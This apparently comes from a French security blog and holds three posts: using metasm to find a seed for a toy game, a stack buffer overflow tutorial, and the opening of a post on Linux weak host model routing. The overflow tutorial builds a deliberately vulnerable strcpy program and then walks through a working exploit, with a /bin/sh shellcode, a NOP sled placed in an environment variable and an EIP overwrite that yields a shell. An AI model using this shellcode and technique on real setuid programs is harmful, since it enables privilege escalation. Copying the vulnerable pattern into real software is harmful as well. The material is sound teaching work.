lundi 13 juin 2011

Metasm for fun

Durant mes pérégrinations sur le net je suis tombé sur un challenge intéressant : un programme setuid bit avec une sorte de buffer overflow à exploiter. Jusque là, rien de bien nouveau, mais la vulnérabilité se trouve dans la fonction d'enregistrement de l'utilisateur, celle là seulement appelée si on termine le mini-jeu proposé avant...

Là de suite ça devient plus compliqué pour automatiser l'exploit surtout que le mini-jeu utilise largement les fonctions de génération de nombres pseudo aléatoires... Heureusement le programme laisse la possibilité de passer en paramètre la valeur qui initialisera srand...

Tout devient donc forcément plus simple, il suffira de trouver le paramètre qui va générer le mini-jeu de sorte qu'on puisse le terminer facilement. Tout appel ultérieur au programme avec le même paramètre générera donc le même mini-jeu. Pour rappel, si on initialise le générateur pseudo-aléatoire avec la même valeur (srand), tous les appels aux fonctions rand produiront la même suite de nombre (il ne sera pas possible de prédire la suite de valeur, mais ce sera toujours la même).

Pour trouver cette suite qui nous intéresse, on pourrait très bien faire un petit programme appelant srand, puis faisant les appels successifs aux fonctions rand, celà conviendrait très bien et serait probablement bien plus simple. Mais l'objectif ici n'est pas la résolution du problème, c'est l'apprentissage en douceur de quelques fonctionnalités de metasm. On va donc utiliser cet outil en tant que débogueur, pour mettre les points d'arrêt aux endroits qui nous intéressent en affichant les bonnes valeurs. Tout cela sera accompagné d'un petit script ruby pour automatiser le tout, car metasm est écrit en ruby. Mais j'ai ouïe dire qu'un outil du même type va bientôt voir le jour, et lui écrit en python, je pense que ça va faire des heureux :p

Pour commencer, le programme... Je ne vais pas utiliser le programme du challenge dont je parle mais d'un programme qui a juste pour objectif d'illustrer mon propos.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define SIDE 10
 
#define HEROE 'H'
#define TRAP 'O'
#define TREASURE '*'
#define EMPTY '.'
 
#define NB_TRAPS 25
 
#define POS(i,j) (((i)*SIDE)+(j))
#define I(pos) ((pos)/SIDE)
#define J(pos) ((pos)%SIDE)
 
unsigned char g_map[SIDE*SIDE];
 
void set_element(const unsigned int e) {
 while(1) {
  unsigned int pos;
  pos = rand() % (SIDE*SIDE);
  //printf("%i\n",pos);
  if(g_map[pos] == EMPTY) {
   g_map[pos] = e;
   break;
  }
 }
}
 
void print_map(void) {
 unsigned int i,j;
 for(i=0;i<SIDE;i++) {
  for(j=0;j<SIDE;j++) {
   printf("%c ",g_map[POS(i,j)]);
  }
  printf("\n");
 }
}
 
void game(void) {
 // TODO
}
 
void instruction() {
 char r;
 printf("Voulez vous lire les instructions (o/n) ? ");
 r = getchar();
 if(r == 'o') printf("blabla\n");
 
}
 
 
int main(int argc, const char **argv) {
 unsigned int seed,i;
 
 if(argc < 2) {
  fprintf(stderr,"Usage: %s seed\n",argv[0]);
  exit(EXIT_FAILURE);
 }
 
 seed = strtoul(argv[1],NULL,10);
 
 // On initialise le générateur de nombre pseudo-aléatoire
 srand(seed);
 
 instruction();
 
 // Initialisation de la map
 memset(g_map,(int)EMPTY,SIDE*SIDE);
 
 // On place le héros
 set_element(HEROE);
 
 // On place le trésor
 set_element(TREASURE);
 
 // On place les pièges
 for(i=0; i<NB_TRAPS; i++) {
  set_element(TRAP);
 }
 
 //print_map();
 
 game();
 
 return EXIT_SUCCESS;
}
# gcc -Wall -o game game.c

Un petit programme simple, qui génère une carte de 10 sur 10 dans laquelle se trouve un trésor et 25 pièges. Il faut se déplacer sur la carte pour trouver le trésor, en évitant les pièges. Le programme s'assure quand il génère la carte de toujours placer un élément sur une case vide.

L'idée ici va être de trouver la bonne seed pour que notre héros se retrouve juste à coté du trésor et ce dès le démarrage (forcément...).

On commence par installer metasm, comme expliqué dans la documentation via mercurial :
# hg clone http://metasm.cr0.org/hg/metasm/

On configure l'interpréteur ruby pour qu'il puisse trouver les librairies de metasm :
# export RUBYLIB=$RUBYLIB:/metasm

Et on fait un petit test (il est nécessaire d'avoir la libgtk2-ruby pour le GUI) :
# ruby /metasm/samples/disassemble-gui.rb game
Il est même possible d'avoir un graphe à la IDA. Ici le graphe de la fonction main :


On place un breakpoint dans la fonction set_element, juste après le calcul du rand() % (SIDE*SIDE). Au premier breakpoint, on mémorise la valeur, ca sera la position du héros et au deuxième breakpoint, on trouvera la valeur du trésor. Il ne manquera plus qu'à faire la vérification : Si on est à coté du trésor c'est fini, sinon on tente avec une nouvelle graine.

#!/usr/bin/ruby1.9.1
# encoding: utf-8

require 'metasm'
include Metasm

file=ARGV[0];

# Fonction appelée pour afficher à l'écran
# Réouvre stdout juste pour le message
def print_data(d,out,stdout_bck)
 STDOUT.reopen(stdout_bck);
 print "#{d}";
 STDOUT.reopen(out); 
end

# On clone stdout, pour pouvoir l'utiliser par la suite
out = STDOUT.clone;

# On utilise un pipe pour gérer stdin
r,w = IO.pipe;
STDIN.reopen(r);
STDOUT.reopen(w);

side = 10;

100.times do |i|
 heroe_pos = -1;

 dbg = LinOS.create_debugger(file + " #{i+1}");

 # Breakpoint sur le résultat du rand % (SIDE*SIDE)
 dbg.bpx(0x80485d7) {
  if heroe_pos == -1 then
   heroe_pos = dbg.get_reg_value(:edx);
   dbg.continue_wait;
  else
   treasure_pos = dbg.get_reg_value(:edx);
   dbg.kill;
   print_data("#{i+1} => Heros (#{heroe_pos/side},#{heroe_pos%side}), Trésor (#{treasure_pos/side},#{treasure_pos%side})\n",w,out);
   if ((heroe_pos%side == treasure_pos%side) and ((heroe_pos/side)-(treasure_pos%side)).abs == 1) or ((heroe_pos%side-treasure_pos%side).abs == 1 and (heroe_pos/side == treasure_pos/side)) then
    print_data("SUCCEED ! Seed = #{i+1}\n",w,out);
    exit(0);
   else
    next;
   end
  end
 }

 # On répond à la question comme quoi on veut pas lire les instructions
 w.write("n\n");

 dbg.run_forever;
end

Le programme est très simple. Il y a une petite subtilité pour gérer la question posée par le programme au sujet des instructions.

# ruby break_srand.rb ./game
1 => Heros (8,3), Trésor (8,6)
2 => Heros (9,0), Trésor (1,9)
3 => Heros (4,6), Trésor (8,5)
4 => Heros (0,1), Trésor (8,3)
[...]
40 => Heros (0,6), Trésor (8,9)
41 => Heros (4,5), Trésor (6,6)
42 => Heros (6,6), Trésor (4,0)
43 => Heros (7,2), Trésor (7,1)
SUCCEED ! Seed = 43

Voilà un petit exemple des fonctionnalités disponibles et de la simplicité d'utilisation de metasm. La documentation n'étant pas très abondante, je pense que ce petit exemple pourra être utile.

samedi 23 avril 2011

Buffer Overflow

L'exploitation des buffers overflow remonte à la fin des année 1980 début des années 1990 avec notamment les attaques sur le démon fingerd d'Unix. Les informations détaillées sur comment exploiter cette vulnérabilités ont vraiment vu le jour en 1996 avec l'article Smashing The Stack For Fun And Profit publié dans Phrack.
Pour être en mesure d'exploiter et de comprendre cette vulnérabilité il est d'abord nécessaire d'avoir une bonne connaissance du fonctionnement de la pile d'un programme. Même si cette vulnérabilité ne touche pas que la pile, cet article se limitera à ce contexte.

Pour commencer il est nécessaire de désactiver toutes les protections qui peuvent être mises en place par l'OS ou le compilateur.

Un buffer est une zone mémoire dans laquelle va être stockée des données permettant le bon fonctionnement du programme. Le problème c'est qu'un buffer a une taille fixe à un instant t et si des précautions n'ont pas été prises, il est possible d'écrire plus de données que la taille du buffer. Le problème est que ces données vont écraser d'autres informations qui peuvent nous permettre dans certaines circonstances de modifier le comportement du programme.

Prenons un programme d'exemple appelé buffer_overflow.c :

#include <stdio.h>
#include <stdlib.h>
 
void unused_function(void) {
   printf("Impossible => fonction non utilisee\n");
}
 
void f(const char *s) {
   int i = 1;
   char buffer[12];
   strcpy(buffer,s);
   printf("i = %u\n",i);
}
 
int main(int argc, char **argv) {
   if(argc != 2) {
      fprintf(stderr,"Usage: buffer_overflow chaine");
      exit(EXIT_FAILURE);
   }
   f(argv[1]);
 
   return EXIT_SUCCESS;
}
On voit clairement le problème dans ce programme à la ligne 11. Le buffer ne fait que 12 octets, et la commande strcpy (contrairement à la commande strncpy) ne vérifie pas la taille. Si la longueur de s est supérieure à 12 octets, on dépassera la taille de buffer et on écrasera des informations qui n'ont rien à voir avec cette variable.

Regardons un peu l'exécution de ce programme :

# ./buffer_overflow AAA
i = 1
$ ./buffer_overflow $(ruby -e 'print "A"*12')
i = 0
$ ./buffer_overflow $(ruby -e 'print "A"*15')
i = 4276545


Tant qu'on ne dépasse pas la taille du buffer, tout se passe normalement. Par contre dès qu'on commence à déborder, on modifie la valeur de i en l'écrasant, chose qui paraissait impossible vu le code source du programme.
# ./buffer_overflow $(ruby -e 'print "A"*50')

i = 1094795585

Erreur de segmentation (core dumped)
Au bout d'une certaine quantité d'information au delà de la taille du buffer, on plante même lamentablement le programme.

Regardons un peu ce qu'il se passe avec gdb :

time0ut# gdb -q --args ./buffer_overflow $(ruby -e 'print "A"*12')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis f
Dump of assembler code for function f:
   0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28
   0x080482ba <+6>: mov    DWORD PTR [ebp-0xc],0x1
   0x080482c1 <+13>: mov    eax,DWORD PTR [ebp+0x8]
   0x080482c4 <+16>: mov    DWORD PTR [esp+0x4],eax
   0x080482c8 <+20>: lea    eax,[ebp-0x18]
   0x080482cb <+23>: mov    DWORD PTR [esp],eax
   0x080482ce <+26>: call   0x80512a0 <strcpy>
   0x080482d3 <+31>: mov    eax,0x80ae90c
   0x080482d8 <+36>: mov    edx,DWORD PTR [ebp-0xc]
   0x080482db <+39>: mov    DWORD PTR [esp+0x4],edx
   0x080482df <+43>: mov    DWORD PTR [esp],eax
   0x080482e2 <+46>: call   0x8048e40 <printf>
   0x080482e7 <+51>: leave  
   0x080482e8 <+52>: ret    
End of assembler dump.
gdb$ b *0x080482ce   # On breakpoint avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
=> 0x80482ce : call   0x80512a0 <strcpy>
   0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11
11  strcpy(buffer,s)
gdb$ print &buffer
$1 = (char (*)[12]) 0xbffff230
gdb$ print &i
$2 = (int *) 0xbffff23c
gdb$ print 0xbffff23c - 0xbffff230
$3 = 0xc
gdb$ x/16xb 0xbffff230
0xbffff230: 0x04 0xf3 0xff 0xbf 0xa0 0x89 0x04 0x08
0xbffff238: 0x00 0x01 0x30 0xb7 0x01 0x00 0x00 0x00
gdb$ c
=> 0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
   0x80482db : mov    DWORD PTR [esp+0x4],edx
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/16xb 0xbffff230
0xbffff230: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff238: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00
gdb$ c
i = 0
Program exited normally.


On voit bien avant le strcpy la valeur de i 0x01 0x00 0x00 0x00 (représentée en bleu) qui est écrasée par l'\0 ajouté par strcpy. Un seul octet est écrasé : celui où il y avait 0x01. i passe donc à 0.
Lorsqu'on passe en argument 15 "A", on écrase la variable i avec 3 octets supplémentaires (donc 4 au total), i prend donc la valeur \x41\x41\x41\x00 soit la valeur 4276545 en little endian. La valeur 1094795585 ne correspond qu'à des \x41 sur tous les octets.

Remarque: Si nous avions inversé la déclaration des variables buffer et i, il n'aurait pas été possible de faire un overflow sur i, car elle aurait eu une adresse inférieure à buffer.

Maintenant essayons de comprendre pourquoi sur notre dernier essai, en plus de modifier la valeur de i, le programme se plante. Si on se rappelle bien du fonctionnement de la pile, on sait que lors de la création d'un stack frame l'adresse suivant l'appel de la fonction est aussi sauvegardée sur la pile pour reprendre l'exécution du programme au bon endroit lors du retour de la fonction.
Que se passe t'il si lors de la copie de la chaîne dans notre buffer, on écrase cette adresse ? On va modifier le cours d'exécution du programme, et le retour de notre fonction f se fera à une nouvelle adresse, qui pointera dans notre cas sur n'importe quoi. Le programme a donc de fortes chances de planter. C'est exactement ce qu'il se passe ici.

time0ut# ./buffer_overflow $(ruby -e 'print "A"*50')
i = 1094795585
Erreur de segmentation (core dumped)
time0ut# gdb buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 5625]
Core was generated by `./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
gdb$ info register eip     # ou sa version light : i r eip
eip            0x41414141 0x41414141

Notre registre EIP (celui qui pointe sur la prochaine instruction à exécuter) à la valeur 0x41414141 soit AAAA. Lorsque le programme va tenter d'exécuter l'instruction à cette adresse, il ne pourra pas lire le contenu de cette zone mémoire et va donc planter.
Par contre, si on arrive à écrire une adresse valide, il est techniquement possible de faire exécuter du code non prévu à notre programme, lors de la restauration de l'adresse de retour de f.

time0ut# gdb -q buffer_overflow
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis unused_function
Dump of assembler code for function unused_function:
   0x080482a0 <+0>: push   ebp
   0x080482a1 <+1>: mov    ebp,esp
   0x080482a3 <+3>: sub    esp,0x18
   0x080482a6 <+6>: mov    DWORD PTR [esp],0x80ae8e8
   0x080482ad <+13>: call   0x8048fd0 <puts>
   0x080482b2 <+18>: leave  
   0x080482b3 <+19>: ret    
End of assembler dump.
gdb$ q
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)


Plutôt que d'écrire une série de A, on a réécrit une adresse valide plusieurs fois, de façon à écraser non seulement la valeur i, mais aussi la valeur de retour de f. Cette adresse pointe sur le printf de notre fonction unused_function. Lorsque f se termine, la valeur de retour devient 0x080482a6 (\xa6\x82\x04\x08 en little endian) et le programme exécute l'instruction se trouvant à cette adresse. Le printf de unused_function qui n'était jamais appelé est donc exécuté. Inutile de dire ici qu'étant donné qu'on a complètement court-circuité toute la structure du programme a un moment ou à un autre, le programme se plante.

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis main
Dump of assembler code for function main:
   0x080482e9 <+0>: push   ebp
   0x080482ea <+1>: mov    ebp,esp
   0x080482ec <+3>: and    esp,0xfffffff0
   0x080482ef <+6>: sub    esp,0x10
   0x080482f2 <+9>: cmp    DWORD PTR [ebp+0x8],0x2
   0x080482f6 <+13>: je     0x804832c <main+67>
   0x080482f8 <+15>: mov    eax,ds:0x80ce624
   0x080482fd <+20>: mov    edx,eax
   0x080482ff <+22>: mov    eax,0x80ae914
   0x08048304 <+27>: mov    DWORD PTR [esp+0xc],edx
   0x08048308 <+31>: mov    DWORD PTR [esp+0x8],0x1d
   0x08048310 <+39>: mov    DWORD PTR [esp+0x4],0x1
   0x08048318 <+47>: mov    DWORD PTR [esp],eax
   0x0804831b <+50>: call   0x8048e70 <fwrite>
   0x08048320 <+55>: mov    DWORD PTR [esp],0x1
   0x08048327 <+62>: call   0x8048c20 <exit>
   0x0804832c <+67>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804832f <+70>: add    eax,0x4
   0x08048332 <+73>: mov    eax,DWORD PTR [eax]
   0x08048334 <+75>: mov    DWORD PTR [esp],eax
   0x08048337 <+78>: call   0x80482b4 <f>
   0x0804833c <+83>: mov    eax,0x0    # Adresse de retour de f
   0x08048341 <+88>: leave  
   0x08048342 <+89>: ret    
End of assembler dump.
gdb$ b *0x80482ce    # avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x80482d3    # après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 1, 0x080482ce in f  at buffer_overflow.c:11
gdb$ x/8xw buffer
0xbffff230: 0xbffff244 0x080489a0 0x5cdd3700 0x00000001
0xbffff240: 0xbffff190 0x08048db5 0xbffff1a8 0x0804833c   # eip a été sauvegardé ici
gdb$ n
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0x080482a6 0x080482a6 0x080482a6 0x080482a6
0xbffff240: 0x080482a6 0x080482a6 0x080482a6 0x080482a6   # On a modifié la valeur
gdb$ x/2i 0x080482a6
   0x80482a6 : mov    DWORD PTR [esp],0x80ae8e8
   0x80482ad : call   0x8048fd0 <puts>


La mémoire ressemble après le strcpy à cela :
Il aurait suffit de réécrire juste la mémoire contenant la sauvegarde de EIP, plutôt que de tout réécrire. Le problème c'est qu'il n'est pas forcément simple de connaître cette adresse de façon précise.
La distance séparant les variables locales d'une fonction à la sauvegarde du registre EIP ne peut pas toujours être connue. Cela dépend du système sur lequel on se trouve et de la façon dont a été compilé le programme. Certains compilateurs peuvent ajouter des protections, du padding... La façon dont a été compilé le programme enlève toutes les protections, cependant gcc peut ajouter du padding et c'est le cas ici.

On peut voir cela dans le prologue de la fonction de f :

0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28

40 octets (0x28) sont réservés pour les variables locales, alors que seulement 12 + 4 octets auraient été nécessaires. En réécrivant donc l'adresse souhaitée suffisamment de fois, on est pratiquement sûr de bien tomber (en tout cas pour cet exemple). C'est peu élégant, mais efficace.

Une technique plus élégante consiste à utiliser des utilitaires de metasploit : pattern_create.rb et pattern_offset.rb. L'idée consiste à générer un pattern suffisamment long avec pattern_create.rb, à le passer au programme pour le planter et enfin à regarder la valeur de EIP.
Il suffit de passer la valeur de EIP à pattern_offset.rb qui nous donnera la taille nécessaire pour arriver jusqu'au registre (et donc d'ajouter 4 octets supplémentaire pour l'écraser).

Merci à m_101 pour m'avoir fait découvrir ces outils sur son blog.
time0ut# /msf3/tools/pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
time0ut# ./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
i = 1093951809
Erreur de segmentation (core dumped)
time0ut# gdb -q buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 6873]
Core was generated by `./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'.
Program terminated with signal 11, Segmentation fault.
#0  0x62413961 in ?? ()
gdb$ q
time0ut# /msf3/tools/pattern_offset.rb $(ruby -e 'print "\x62\x41\x39\x61".reverse')
28    # Il faut donc 28 octets pour arriver à EIP, les 4 suivant l'écraseront
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*(28/4+4)')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)

C'est bien joli d'exécuter une fonction qui n'aurait pas dû l'être mais ce qui est vraiment intéressant, c'est d'exécuter le code que l'on souhaite, même si celui-ci ne fait pas parti du programme initial. Pour cela, il faut être capable de mapper ce code dans la mémoire du programme. Une fois cela effectué, il suffira d'utiliser la technique décrite précédemment pour l'utiliser.

Plusieurs techniques existent pour mettre notre code dans la mémoire du programme comme par exemple le passer en ligne de commande, directement dans le buffer source de la vulnérabilité. Cependant ici on va utiliser une technique plus simple et plus sûre, on va passer notre code par variable d'environnement.

Chaque programme a accès automatiquement aux variables d'environnement, même s'il ne les utilise pas. Elles font parties de sa mémoire. Le seul problème va être de connaître l'adresse de notre variable, car il va falloir pointer dessus. Pour cela le programme suivant doit faire parti de notre boite à outils :
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc,char**argv) {
   char *addr;
   if(argc != 2) {
      printf("Usage: %s env_variable\n",argv[0]);
      exit(EXIT_FAILURE);
   }
   addr = getenv(argv[1]);
   if(addr == NULL) {
      printf("Environnement variable %s does not exist\n",argv[1]);
   } else {
      printf("%s is located at %p\n",argv[1],addr);
   }
 
   return EXIT_SUCCESS;
}

Ce programme permet de connaître l'adresse d'une variable d'environnement (si elle existe). D'un programme à l'autre, l'adresse d'une variable d'environnement varie peu.
# ./get_env PATH
PATH is located at 0xbffffc15
Le code qui sera passé au programme est un shellcode, qui permettra d'obtenir un shell s'il est exécuté. Le développement de ce code dépasse le cadre de cet article, nous en utiliserons un tout fait que l'on peut trouver sur shellstorm par exemple.
# ruby -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' | ndisasm - -b 32
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  89E2              mov edx,esp
00000012  53                push ebx
00000013  89E1              mov ecx,esp
00000015  B00B              mov al,0xb
00000017  CD80              int 0x80

Une fois en possession de notre code, on va le mettre dans une variable d'environnement précédé d'un certain nombre d'octets ayant la valeur 0x90. L'opcode 0x90 représente l'instruction NOP qui ne fait rien en assembleur si ce n'est passer à l'instruction suivante. L'avantage est qu'il suffit de pointer sur l'un des NOP pour que notre shellcode s'exécute (le programme passera de NOP en NOP jusqu'à la charge utile). Si nous n'en avions pas mis, il aurait fallu pointer exactement sur le début de notre shellcode, à l'octet près. Comme l'adresse de la variable d'environnement peut changer d'un programme à l'autre, il aurait été beaucoup plus difficile de tomber sur la bonne adresse. Les NOP permettent donc de s'affranchir d'une erreur trop importante sur l'adresse finale.
# export SC=$(ruby -e 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
# ./get_env SC
SC is located at 0xbffffcb6
On connait donc grossièrement l'adresse du premier NOP de notre shellcode. On va se laisser une marge de 50 octets histoire d'être au milieu de tous les NOP : 0xbffffce8 (0xbffffcb6 + 50).

Il ne nous reste plus qu'à écraser l'adresse sauvegardée de EIP sur la pile par cette adresse, pour que lors du retour de notre fonction f on exécute notre shellcode :

# ./buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
i = 3221224680
$
Ca marche, on récupère le prompt de notre shell. Regardons ce qu'il s'est vraiment passé avec gdb :

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 1 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8
0xbffff240: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8   # L'adresse a bien été réécrite
gdb$ x/20xw 0xbffffce8
0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd08: 0x90909090 0x31909090 0x2f6850c0 0x6868732f
0xbffffd18: 0x6e69622f 0x8950e389 0xe18953e2 0x80cd0bb0
0xbffffd28: 0x53494800 0x4e4f4354 0x4c4f5254 0x6e67693d     # On est bien sur les NOP, donc c'est gagné
gdb$ x/5i 0xbffffce8
   0xbffffce8: nop
   0xbffffce9: nop
   0xbffffcea: nop
   0xbffffceb: nop
   0xbffffcec: nop
gdb$ x/10xb 0xbffffcaa
0xbffffcaa: 0x3d 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffcb2: 0x90 0x90

L'adresse du premier NOP était en réalité en 0xbffffcab, alors que notre programme précédent nous avait donné 0xbffffcb6 (soit une différence de 11 octets). La technique des NOP nous a permis de passer outre cette approximation.

jeudi 21 avril 2011

Weak Host Model

Cela fait plusieurs fois que je suis confronté dans mon travail à un comportement déroutant de la pile TCP/IP de Linux.

Prenons un exemple concret : nous avons une machine linux qui a deux interfaces réseaux et qui sert de routeur. Cette machine n'effectue aucun filtrage.

# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:19:b9:0d:a1:6d  
          inet addr:10.0.0.1  Bcast:10.255.255.255  Mask:255.0.0.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:16 

eth1      Link encap:Ethernet  HWaddr 00:0e:2e:ee:ca:87  
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.2255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:127551 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1300 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:12749638 (12.7 MB)  TX bytes:154130 (154.1 KB)
          Interrupt:18 Base address:0xdc00 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source
# sysctl -e net.ipv4.ip_forward
net.ipv4.ip_forward = 1
Maintenant prenons une machine cliente connectée sur le même réseau que eth0 de notre routeur. La passerelle par défaut de notre machine cliente est notre routeur.

# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:17:42:2e:7d:77  
          inet adr:10.0.0.2  Bcast:10.255.255.255  Masque:255.0.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Packets reçus:900572 erreurs:0 :0 overruns:0 frame:0
          TX packets:296685 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:1000 
          Octets reçus:98442936 (98.4 MB) Octets transmis:50927297 (50.9 MB)
          Interruption:16 

lo        Link encap:Boucle locale  
          inet adr:127.0.0.1  Masque:255.0.0.0
          adr inet6: ::1/128 Scope:Hôte
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          Packets reçus:624989 erreurs:0 :0 overruns:0 frame:0
          TX packets:624989 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:0 
          Octets reçus:41130183 (41.1 MB) Octets transmis:41130183 (41.1 MB)
# route -n
Table de routage IP du noyau
Destination     Passerelle      Genmask         Indic Metric Ref    Use Iface
10.0.0.0        0.0.0.0         255.0.0.0       U     0      0        0 eth0
0.0.0.0         10.0.0.1        0.0.0.0         UG    0      0        0 eth0


Faisons quelques tests de connectivité sur la machine cliente pour voir ce qu'il se passe.

time0ut_client# scapy
Welcome to Scapy (2.1.0)
>>>  srp1(Ether()/IP(dst="10.0.0.1")/ICMP())
Begin emission:
...Finished to send 1 packets.
*
Received 4 packets, got 1 answers, remaining 0 packets
<Ether  dst=00:17:42:2e:7d:77 src=00:19:b9:0d:a1:6d type=0x800 |
<IP  version=4L ihl=5L tos=0x0 len=28 id=25698 flags= frag=0L ttl=64 proto=icmp chksum=0x27d src=10.0.0.1 dst=10.0.0.2 options=[] |
<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |
<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>
>>>  srp1(Ether()/IP(dst="192.168.0.1")/ICMP())
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<Ether  dst=00:17:42:2e:7d:77 src=00:19:b9:0d:a1:6d type=0x800 |
<IP  version=4L ihl=5L tos=0x0 len=28 id=25699 flags= frag=0L ttl=64 proto=icmp chksum=0x4bd3 src=192.168.0.1 dst=10.0.0.2 options=[] |
<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |
<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>

Comme on peut le voir un ping passe du client vers 10.0.0.1 et aussi vers 192.168.0.1. On remarque aussi que l'adresse MAC utilisée dans la réponse de 192.168.0.1 est bien celle de l'interface eth0 du routeur soit celle qui a l'adresse IP 10.0.0.1. Notre routeur fonctionne bien.

Maintenant désactivons le routage sur notre routeur.

# sysctl -w net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
Et refaisons le même test de connectivité.

time0ut_client# scapy
Welcome to Scapy (2.1.0)
>>>  srp1(Ether()/IP(dst="10.0.0.1")/ICMP())
Begin emission:
...Finished to send 1 packets.
*
Received 4 packets, got 1 answers, remaining 0 packets
<Ether  dst=00:17:42:2e:7d:77 src=00:19:b9:0d:a1:6d type=0x800 |
<IP  version=4L ihl=5L tos=0x0 len=28 id=25698 flags= frag=0L ttl=64 proto=icmp chksum=0x27d src=10.0.0.1 dst=10.0.0.2 options=[] |
<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |
